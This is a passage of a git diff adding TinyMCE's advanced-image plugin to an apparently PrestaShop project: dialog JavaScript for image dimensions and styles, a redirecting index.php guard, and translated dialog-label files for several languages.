(!sv || (sv != v && v !== 0)) { + v = 0; + return false; + } + + if (sv) + v = sv; + }); + + if (v) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + } + } + + if (v = dom.getAttrib(e, at)) + return v; + + return ''; + }, + + setSwapImage : function(st) { + var f = document.forms[0]; + + f.onmousemovecheck.checked = st; + setBrowserDisabled('overbrowser', !st); + setBrowserDisabled('outbrowser', !st); + + if (f.over_list) + f.over_list.disabled = !st; + + if (f.out_list) + f.out_list.disabled = !st; + + f.onmouseoversrc.disabled = !st; + f.onmouseoutsrc.disabled = !st; + }, + + fillClassList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { + cl = []; + + tinymce.each(v.split(';'), function(v) { + var p = v.split('='); + + cl.push({'title' : p[0], 'class' : p[1]}); + }); + } else + cl = tinyMCEPopup.editor.dom.getClasses(); + + if (cl.length > 0) { + lst.options.length = 0; + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + + tinymce.each(cl, function(o) { + lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = typeof(l) === 'function' ? l() : window[l]; + lst.options.length = 0; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + resetImageData : function() { + var f = document.forms[0]; + + f.elements.width.value = f.elements.height.value = ''; + }, + + updateImageData : function(img, st) { + var f = document.forms[0]; + + if (!st) { + f.elements.width.value = img.width; + f.elements.height.value = img.height; + } + + this.preloadImg = img; + }, + + changeAppearance : function() { + var ed = tinyMCEPopup.editor, f = document.forms[0], img = document.getElementById('alignSampleImg'); + + if (img) { + if (ed.getParam('inline_styles')) { + ed.dom.setAttrib(img, 'style', f.style.value); + } else { + img.align = f.align.value; + img.border = f.border.value; + img.hspace = f.hspace.value; + img.vspace = f.vspace.value; + } + } + }, + + changeHeight : function() { + var f = document.forms[0], tp, t = this; + + if (!f.constrain.checked || !t.preloadImg) { + return; + } + + if (f.width.value == "" || f.height.value == "") + return; + + tp = (parseInt(f.width.value) / parseInt(t.preloadImg.width)) * t.preloadImg.height; + f.height.value = tp.toFixed(0); + }, + + changeWidth : function() { + var f = document.forms[0], tp, t = this; + + if (!f.constrain.checked || !t.preloadImg) { + return; + } + + if (f.width.value == "" || f.height.value == "") + return; + + tp = (parseInt(f.height.value) / parseInt(t.preloadImg.height)) * t.preloadImg.width; + f.width.value = tp.toFixed(0); + }, + + updateStyle : function(ty) { + var dom = tinyMCEPopup.dom, b, bStyle, bColor, v, isIE = tinymce.isIE, f = document.forms[0], img = dom.create('img', {style : dom.get('style').value}); + + if (tinyMCEPopup.editor.settings.inline_styles) { + // Handle align + if (ty == 'align') { + dom.setStyle(img, 'float', ''); + dom.setStyle(img, 'vertical-align', ''); + + v = getSelectValue(f, 'align'); + if (v) { + if (v == 'left' || v == 'right') + dom.setStyle(img, 'float', v); + else + img.style.verticalAlign = v; + } + } + + // Handle border + if (ty == 'border') { + b = img.style.border ? img.style.border.split(' ') : []; + bStyle = dom.getStyle(img, 'border-style'); + bColor = dom.getStyle(img, 'border-color'); + + dom.setStyle(img, 'border', ''); + + v = f.border.value; + if (v || v == '0') { + if (v == '0') + img.style.border = isIE ? '0' : '0 none none'; + else { + if (b.length == 3 && b[isIE ? 2 : 1]) + bStyle = b[isIE ? 2 : 1]; + else if (!bStyle || bStyle == 'none') + bStyle = 'solid'; + if (b.length == 3 && b[isIE ? 0 : 2]) + bColor = b[isIE ? 0 : 2]; + else if (!bColor || bColor == 'none') + bColor = 'black'; + img.style.border = v + 'px ' + bStyle + ' ' + bColor; + } + } + } + + // Handle hspace + if (ty == 'hspace') { + dom.setStyle(img, 'marginLeft', ''); + dom.setStyle(img, 'marginRight', ''); + + v = f.hspace.value; + if (v) { + img.style.marginLeft = v + 'px'; + img.style.marginRight = v + 'px'; + } + } + + // Handle vspace + if (ty == 'vspace') { + dom.setStyle(img, 'marginTop', ''); + dom.setStyle(img, 'marginBottom', ''); + + v = f.vspace.value; + if (v) { + img.style.marginTop = v + 'px'; + img.style.marginBottom = v + 'px'; + } + } + + // Merge + dom.get('style').value = dom.serializeStyle(dom.parseStyle(img.style.cssText), 'img'); + } + }, + + changeMouseMove : function() { + }, + + showPreviewImage : function(u, st) { + if (!u) { + tinyMCEPopup.dom.setHTML('prev', ''); + return; + } + + if (!st && tinyMCEPopup.getParam("advimage_update_dimensions_onchange", true)) + this.resetImageData(); + + u = tinyMCEPopup.editor.documentBaseURI.toAbsolute(u); + + if (!st) + tinyMCEPopup.dom.setHTML('prev', ''); + else + tinyMCEPopup.dom.setHTML('prev', ''); + } +}; + +ImageDialog.preInit(); +tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); diff --git a/js/tiny_mce/plugins/advimage/js/index.php b/js/tiny_mce/plugins/advimage/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/advimage/langs/ar_dlg.js b/js/tiny_mce/plugins/advimage/langs/ar_dlg.js new file mode 100755 index 0000000..e6a5eb8 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advimage_dlg',{"image_list":"Image list","align_right":"\u064a\u0645\u064a\u0646","align_left":"\u064a\u0633\u0627\u0631","align_textbottom":"\u0627\u0633\u0641\u0644 \u0627\u0644\u0646\u0635","align_texttop":"\u0627\u0639\u0644\u0649 \u0627\u0644\u0646\u0635","align_bottom":"\u0627\u0633\u0641\u0644","align_middle":"\u0648\u0633\u0637","align_top":"\u0627\u0644\u0627\u0639\u0644\u0649","align_baseline":"Baseline",align:"\u0645\u062d\u0627\u0632\u0627\u0647",hspace:"\u0627\u0644\u0645\u0633\u0627\u0641\u0647 \u0627\u0644\u0627\u0641\u0642\u064a\u0647",vspace:"\u0627\u0644\u0645\u0633\u0627\u0641\u0647 \u0627\u0644\u0631\u0623\u0633\u064a\u0647",dimensions:"\u0627\u0644\u0623\u0628\u0639\u0627\u062f",border:"\u0627\u0644\u0625\u0637\u0627\u0631",list:"\u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0635\u0648\u0631",alt:"\u0648\u0635\u0641 \u0627\u0644\u0635\u0648\u0631\u0647",src:"\u0639\u0646\u0648\u0627\u0646 URL \u0644\u0644\u0635\u0648\u0631\u0647","dialog_title":"Insert/edit image","missing_alt":"Are you sure you want to continue without including an Image Description? Without it the image may not be accessible to some users with disabilities, or to those using a text browser, or browsing the Web with images turned off.","example_img":"Appearance preview image",misc:"Miscellaneous",mouseout:"for mouse out",mouseover:"for mouse over","alt_image":"Alternative image","swap_image":"Swap image",map:"Image map",id:"Id",rtl:"Right to left",ltr:"Left to right",classes:"Classes",style:"Style","long_desc":"Long description link",langcode:"Language code",langdir:"Language direction","constrain_proportions":"Constrain proportions",preview:"\u0645\u0634\u0627\u0647\u062f\u0647",title:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646",general:"\u0639\u0627\u0645","tab_advanced":"\u062e\u064a\u0627\u0631\u0627\u062a \u0645\u062a\u0642\u062f\u0645\u0647","tab_appearance":"\u0627\u0644\u0645\u0638\u0647\u0631","tab_general":"\u0639\u0627\u0645",width:"\u0627\u0644\u0639\u0631\u0636",height:"\u0627\u0644\u0627\u0631\u062a\u0641\u0627\u0639"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/az_dlg.js b/js/tiny_mce/plugins/advimage/langs/az_dlg.js new file mode 100755 index 0000000..beebea1 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advimage_dlg',{"image_list":"\u015e\u0259kil siyah\u0131s\u0131","align_right":"Sa\u011fa","align_left":"Sola","align_textbottom":"M\u0259tn a\u015fa\u011f\u0131s\u0131 il\u0259","align_texttop":"M\u0259tn yuxar\u0131 il\u0259","align_bottom":"A\u015fa\u011f\u0131 il\u0259","align_middle":"M\u0259rk\u0259z il\u0259","align_top":"Yuxar\u0131 il\u0259","align_baseline":"Bin\u00f6vr\u0259 il\u0259",align:"Tarazla\u015fd\u0131rma",hspace:"\u00dcf\u00fcqi f\u0259za",vspace:"\u015eaquli f\u0259za",dimensions:"\u00d6l\u00e7\u00fcl\u0259r",border:"S\u0259rh\u0259d",list:"\u015e\u0259kil siyah\u0131s\u0131",alt:"\u015e\u0259kil t\u0259sviri",src:"\u015e\u0259kil \u00fcnvan\u0131","dialog_title":"\u015e\u0259kil \u0259lav\u0259/redakt\u0259 et","missing_alt":"\u018fminsiniz ki, \u015f\u0259kl\u0259 t\u0259svir yazmadan davam etm\u0259k ist\u0259yirsiniz? T\u0259svirsiz \u015f\u0259kil i\u015f qabiliyy\u0259ti a\u015fa\u011f\u0131 olan v\u0259 ya \u015f\u0259klin s\u00f6nd\u00fcr\u00fclm\u00fc\u015f funksiyas\u0131 il\u0259 m\u0259tn b\u0259l\u0259d\u00e7isind\u0259n istifad\u0259 ed\u0259n istifad\u0259\u00e7il\u0259r\u0259 \u0259l\u00e7atmaz ola bil\u0259r.","example_img":"Xarici g\u00f6r\u00fcn\u00fc\u015f\u0259 ilkin bax\u0131\u015f",misc:"M\u00fcxt\u0259lif",mouseout:"si\u00e7an\u0131 uzaqla\u015fd\u0131rd\u0131qda",mouseover:"si\u00e7an\u0131 g\u0259tirdikd\u0259","alt_image":"Alternativ \u015f\u0259kil","swap_image":"\u015e\u0259kli d\u0259yi\u015f",map:"X\u0259rit\u0259-\u015f\u0259kil",id:"\u0130dentifikator",rtl:"Sa\u011fda-sola",ltr:"Solda-sa\u011fa",classes:"Sinifl\u0259r",style:"Stil","long_desc":"\u018ftrafl\u0131 t\u0259svir\u0259 ke\u00e7id",langcode:"Dil kodu",langdir:"Dilin istiqam\u0259tl\u0259ndirilm\u0259si","constrain_proportions":"Proporsiyalar\u0131 saxla",preview:"\u0130lkin bax\u0131\u015f",title:"Ad\u0131",general:"\u00dcmumi","tab_advanced":"\u018flav\u0259","tab_appearance":"G\u00f6r\u00fcn\u00fc\u015f","tab_general":"\u00dcmumi",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/bg_dlg.js b/js/tiny_mce/plugins/advimage/langs/bg_dlg.js new file mode 100755 index 0000000..7621541 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advimage_dlg',{"image_list":"\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438","align_right":"\u0414\u044f\u0441\u043d\u043e","align_left":"\u041b\u044f\u0432\u043e","align_textbottom":"\u0422\u0435\u043a\u0441\u0442 \u0434\u043e\u043b\u0443","align_texttop":"\u0422\u0435\u043a\u0441\u0442 \u0433\u043e\u0440\u0435","align_bottom":"\u0414\u043e\u043b\u0443","align_middle":"\u0426\u0435\u043d\u0442\u044a\u0440","align_top":"\u0413\u043e\u0440\u0435","align_baseline":"\u0411\u0430\u0437\u043e\u0432\u0430 \u043b\u0438\u043d\u0438\u044f",align:"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",hspace:"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e \u0440\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435",vspace:"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e \u0440\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435",dimensions:"\u0420\u0430\u0437\u043c\u0435\u0440\u0438",border:"\u0420\u0430\u043c\u043a\u0430",list:"\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438",alt:"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",src:"URL \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","dialog_title":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","missing_alt":"\u0421\u0438\u0433\u0443\u0440\u0435\u043d \u043b\u0438 \u0441\u0442\u0435 \u0447\u0435 \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u0434\u0430 \u043f\u0440\u043e\u0434\u044a\u043b\u0436\u0438\u0442\u0435 \u0431\u0435\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430? \u0411\u0435\u0437 \u043d\u0435\u0433\u043e \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u044a\u043f\u043d\u0430 \u0437\u0430 \u043d\u044f\u043a\u043e\u0438 \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u0438 \u0441 \u043d\u0435\u0434\u044a\u0437\u0438, \u0438\u043b\u0438 \u0437\u0430 \u0442\u0435\u0437\u0438 \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0449\u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432 \u0431\u0440\u0430\u0443\u0437\u044a\u0440, \u0438\u043b\u0438 \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0449\u0438 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0441 \u0438\u0437\u043a\u043b\u044e\u0447\u0435\u043d\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438.","example_img":"\u041f\u0440\u0435\u0433\u043b\u0435\u0434 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430",misc:"\u0420\u0430\u0437\u043d\u0438",mouseout:"\u0437\u0430 mouse out",mouseover:"\u0437\u0430 mouse over","alt_image":"\u0420\u0435\u0437\u0435\u0440\u0432\u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","swap_image":"\u0421\u043c\u0435\u043d\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",map:"\u041a\u0430\u0440\u0442\u0438\u043d\u0430 \u043a\u0430\u0440\u0442\u0430",id:"Id",rtl:"\u041e\u0442\u0434\u044f\u0441\u043d\u043e \u043d\u0430 \u043b\u044f\u0432\u043e",ltr:"\u041e\u0442\u043b\u044f\u0432\u043e \u043d\u0430 \u0434\u044f\u0441\u043d\u043e",classes:"\u041a\u043b\u0430\u0441\u043e\u0432\u0435",style:"\u0421\u0442\u0438\u043b","long_desc":"\u0425\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430 \u043a\u044a\u043c \u0434\u044a\u043b\u0433\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",langcode:"\u041a\u043e\u0434 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430",langdir:"\u041f\u043e\u0441\u043e\u043a\u0430 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430","constrain_proportions":"\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438\u0442\u0435",preview:"\u041f\u0440\u0435\u0433\u043b\u0435\u0434",title:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435",general:"\u041e\u0431\u0449\u0438","tab_advanced":"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","tab_appearance":"\u0412\u044a\u043d\u0448\u0435\u043d \u0432\u0438\u0434","tab_general":"\u041e\u0431\u0449\u0438",width:"\u0428\u0438\u0440\u0438\u043d\u0430",height:"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/ca_dlg.js b/js/tiny_mce/plugins/advimage/langs/ca_dlg.js new file mode 100755 index 0000000..14250bd --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advimage_dlg',{"image_list":"Llista d\'imatges","align_right":"A la dreta","align_left":"A l\'esquerra","align_textbottom":"Baix del text","align_texttop":"Dalt del text","align_bottom":"Inferior","align_middle":"Mitjan lloc","align_top":"Superior","align_baseline":"L\u00ednia de base",align:"Alineaci\u00f3",hspace:"Espai horitzontal",vspace:"Espai vertical",dimensions:"Dimensions",border:"Vora",list:"Llista de la imatge",alt:"Descripci\u00f3 de la imatge",src:"URL de la imatge","dialog_title":"Insereix/edita imatge","missing_alt":"Esteu segur que voleu continuar sense incloure una descripci\u00f3 de la imatge? La imatge pot no ser accessible a usuaris amb discapacitats, o a aquells que utilitzin navegadors de text o que naveguin amb les imatges desactivades.","example_img":"Aparen\u00e7a imatge previsualitzada",misc:"Miscel\u00b7l\u00e0nia",mouseout:"quan el ratol\u00ed marxa",mouseover:"quan el ratol\u00ed arriba","alt_image":"Imatge alternativa","swap_image":"Canvia imatge",map:"Mapa de la imatge",id:"Id",rtl:"De dreta a esquerra",ltr:"D\'esquerra a dreta",classes:"Classes",style:"Estil","long_desc":"Enlla\u00e7 a la descripci\u00f3 llarga",langcode:"Codi de l\'idioma",langdir:"Direcci\u00f3 de l\'idioma","constrain_proportions":"Mant\u00e9 la proporci\u00f3",preview:"Previsualitzaci\u00f3",title:"T\u00edtol",general:"General","tab_advanced":"Avan\u00e7at","tab_appearance":"Aparen\u00e7a","tab_general":"General",width:"Amplada",height:"Al\u00e7ada"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/cs_dlg.js b/js/tiny_mce/plugins/advimage/langs/cs_dlg.js new file mode 100755 index 0000000..cb9cb58 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.advimage_dlg',{"image_list":"Seznam obr\u00e1zk\u016f","align_right":"Vpravo","align_left":"Vlevo","align_textbottom":"Se spodkem \u0159\u00e1dku","align_texttop":"S vrchem \u0159\u00e1dku","align_bottom":"Dol\u016f","align_middle":"Na st\u0159ed \u0159\u00e1dku","align_top":"Nahoru","align_baseline":"Na z\u00e1kladnu",align:"Zarovn\u00e1n\u00ed",hspace:"Horizont\u00e1ln\u00ed odsazen\u00ed",vspace:"Vertik\u00e1ln\u00ed odsazen\u00ed",dimensions:"Rozm\u011bry",border:"R\u00e1me\u010dek",list:"Seznam obr\u00e1zk\u016f",alt:"Popis obr\u00e1zku",src:"URL obr\u00e1zku","dialog_title":"Vlo\u017eit/upravit obr\u00e1zek","missing_alt":"Skute\u010dn\u011b chcete pokra\u010dovat bez vlo\u017een\u00e9ho popisu obr\u00e1zku? Bez popisu m\u016f\u017ee b\u00fdt obr\u00e1zek nep\u0159\u00edstupn\u00fd u\u017eivatel\u016fm se zrakov\u00fdm posti\u017een\u00edm, u\u017eivatel\u016fm textov\u00fdch prohl\u00ed\u017ee\u010d\u016f nebo u\u017eivatel\u016fm, kte\u0159\u00ed maj\u00ed vypnuto zobrazov\u00e1n\u00ed obr\u00e1zk\u016f.","example_img":"P\u0159\u00edklad obr\u00e1zku",misc:"R\u016fzn\u00e9",mouseout:"Po odjet\u00ed my\u0161i...",mouseover:"P\u0159i najet\u00ed my\u0161i...","alt_image":"Alternativn\u00ed obr\u00e1zek","swap_image":"P\u0159epnout obr\u00e1zek",map:"Obr\u00e1zkov\u00e1 mapa",id:"ID",rtl:"Zprava doleva",ltr:"Zleva doprava",classes:"T\u0159\u00eddy",style:"Styl","long_desc":"Dlouh\u00fd popis",langcode:"K\u00f3d jazyka",langdir:"Sm\u011br textu","constrain_proportions":"Zachovat proporce",preview:"N\u00e1hled",title:"Titulek",general:"Obecn\u00e9 parametry","tab_advanced":"Roz\u0161\u00ed\u0159en\u00e9","tab_appearance":"Vzhled","tab_general":"Obecn\u00e9",width:"\u0160\u00ed\u0159ka",height:"V\u00fd\u0161ka"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/da_dlg.js b/js/tiny_mce/plugins/advimage/langs/da_dlg.js new file mode 100755 index 0000000..66aa88b --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.advimage_dlg',{"image_list":"Billedliste","align_right":"H\u00f8jre","align_left":"Venstre","align_textbottom":"Tekstbund","align_texttop":"Teksttop","align_bottom":"Bund","align_middle":"Midte","align_top":"Top","align_baseline":"Grundlinje",align:"Justering",hspace:"Horisontal afstand",vspace:"Vertikal afstand",dimensions:"Dimensioner",border:"Kant",list:"Billedliste",alt:"Billedbeskrivelse",src:"Billed-URL","dialog_title":"Inds\u00e6t/rediger billede","missing_alt":"Er du sikker p\u00e5, at du vil forts\u00e6tte uden at inkludere en billedebeskrivelse? Uden denne er billedet m\u00e5ske ikke tilg\u00e6ngeligt for nogle brugere med handicaps, eller for dem der bruger en tekstbrowser, eller som browser internettet med billeder sl\u00e5et fra.","example_img":"Forh\u00e5ndsvisning af billede",misc:"Diverse",mouseout:"for mus-ud",mouseover:"for mus-over","alt_image":"Alternativt billede","swap_image":"Byt billede",map:"Billede map",id:"Id",rtl:"H\u00f8jre til venstre",ltr:"Venstre til h\u00f8jre",classes:"Klasser",style:"Stil","long_desc":"Lang beskrivelseslink",langcode:"Sprogkode",langdir:"Sprogretning","constrain_proportions":"Bibehold proportioner",preview:"Vis",title:"Titel",general:"Generelt","tab_advanced":"Avanceret","tab_appearance":"Udseende","tab_general":"Generelt",width:"Bredde",height:"H\u00f8jde"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/de_dlg.js b/js/tiny_mce/plugins/advimage/langs/de_dlg.js new file mode 100755 index 0000000..fc0f6d1 --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.advimage_dlg',{"image_list":"Bilderliste","align_right":"Rechts","align_left":"Links","align_textbottom":"Unten im Text","align_texttop":"Oben im Text","align_bottom":"Unten","align_middle":"Mittig","align_top":"Oben","align_baseline":"Zeile",align:"Ausrichtung",hspace:"Horizontaler Abstand",vspace:"Vertikaler Abstand",dimensions:"Ausma\u00dfe",border:"Rahmen",list:"Bilderliste",alt:"Beschreibung",src:"Adresse","dialog_title":"Bild einf\u00fcgen/ver\u00e4ndern","missing_alt":"Wollen Sie wirklich keine Beschreibung eingeben? Bestimmte Benutzer mit k\u00f6rperlichen Einschr\u00e4nkungen k\u00f6nnen so nicht darauf zugreifen, ebenso solche, die einen Textbrowser benutzen oder die Anzeige von Bildern deaktiviert haben.","example_img":"Vorschau auf das Aussehen",misc:"Verschiedenes",mouseout:"bei keinem Mauskontakt",mouseover:"bei Mauskontakt","alt_image":"Alternatives Bild","swap_image":"Bild austauschen",map:"Image-Map",id:"ID",rtl:"Rechts nach links",ltr:"Links nach rechts",classes:"Klassen",style:"Format","long_desc":"Ausf\u00fchrliche Beschreibung",langcode:"Sprachcode",langdir:"Schriftrichtung","constrain_proportions":"Seitenverh\u00e4ltnis beibehalten",preview:"Vorschau",title:"Titel",general:"Allgemein","tab_advanced":"Erweitert","tab_appearance":"Aussehen","tab_general":"Allgemein",width:"Breite",height:"H\u00f6he"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advimage/langs/el_dlg.js b/js/tiny_mce/plugins/advimage/langs/el_dlg.js new file mode 100755 index 0000000..17aa55e --- /dev/null +++ b/js/tiny_mce/plugins/advimage/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.advimage_dlg',{"image_list":"\u039b\u03af\u03c3\u03c4\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03c9\u03bd","align_right":"\u0394\u03b5\u03be\u03b9\u03ac","align_left":"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","align_textbottom":"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03ba\u03ac\u03c4\u03c9","align_texttop":"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03c0\u03ac\u03bd\u03c9","align_bottom":"\u039a\u03ac\u03c4\u03c9","align_middle":"\u039c\u03ad\u03c3\u03b7","align_top":"\u03a0\u03ac\u03bd\u03c9","align_baseline":"\u0393\u03c1\u03b1\u03bc\u03bc\u03ae \u03c3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd",align:"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",hspace:"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bf\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1",vspace:"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03ba\u03ac\u03b8\u03b5\u03c4\u03b7",dimensions:"\u0394\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2",border:"\u03a0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf",list:"\u039b\u03af\u03c3\u03c4\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03c9\u03bd",alt:"\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",src:"\u0394\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae URL \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","dialog_title":"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2","missing_alt":"\u03a3\u03af\u03b3\u03bf\u03c5\u03c1\u03b1 \u03b8\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1 \u03c3\u03c5\u03bd\u03b5\u03c7\u03af\u03c3\u03b5\u03c4\u03b5 \u03c7\u03c9\u03c1\u03af\u03c2 \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2; \u03a7\u03c9\u03c1\u03af\u03c2 \u03b1\u03c5\u03c4\u03ae\u03bd\u03b7 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1 \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1 \u03bc\u03b7\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03c0\u03c1\u03bf\u03c3\u03b2\u03ac\u03c3\u03b9\u03bc\u03b7 \u03c3\u03b5 \u03ba\u03ac\u03c0\u03bf\u03b9\u03bf\u03c5\u03c2 \u03c7\u03c1\u03ae\u03c3\u03c4\u03b5\u03c2 \u03bc\u03b5 \u03c0\u03c1\u03bf\u03b2\u03bb\u03ae\u03bc\u03b1\u03c4\u03b1, \u03ae \u03c3\'\u03b1\u03c5\u03c4\u03bf\u03cd\u03c2 \u03c0\u03bf\u03c5 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03bf\u03cd\u03bd \u03c6\u03c5\u03bb\u03bb\u03bf\u03bc\u03b5\u03c4\u03c1\u03b7\u03c4\u03ae \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5, \u03ae \u03b2\u03bb\u03ad\u03c0\u03bf\u03c5\u03bd \u03c4\u03bf \u0399\u03bd\u03c4\u03b5\u03c1\u03bd\u03b5\u03c4 \u03c7\u03c9\u03c1\u03af\u03c2 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b5\u03c2.","example_img":"\u0394\u03bf\u03ba\u03b9\u03bc\u03b1\u03c3\u03c4\u03b9\u03ba\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1",misc:"\u0394\u03b9\u03ac\u03c6\u03bf\u03c1\u03b1",mouseout:"\u03b3\u03b9\u03b1 mouse out",mouseover:"\u03b3\u03b9\u03b1 mouse over","alt_image":"\u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03ba\u03c4\u03b9\u03ba\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1","swap_image":"\u0391\u03bd\u03c4\u03b1\u03bb\u03bb\u03b1\u03b3\u03ae 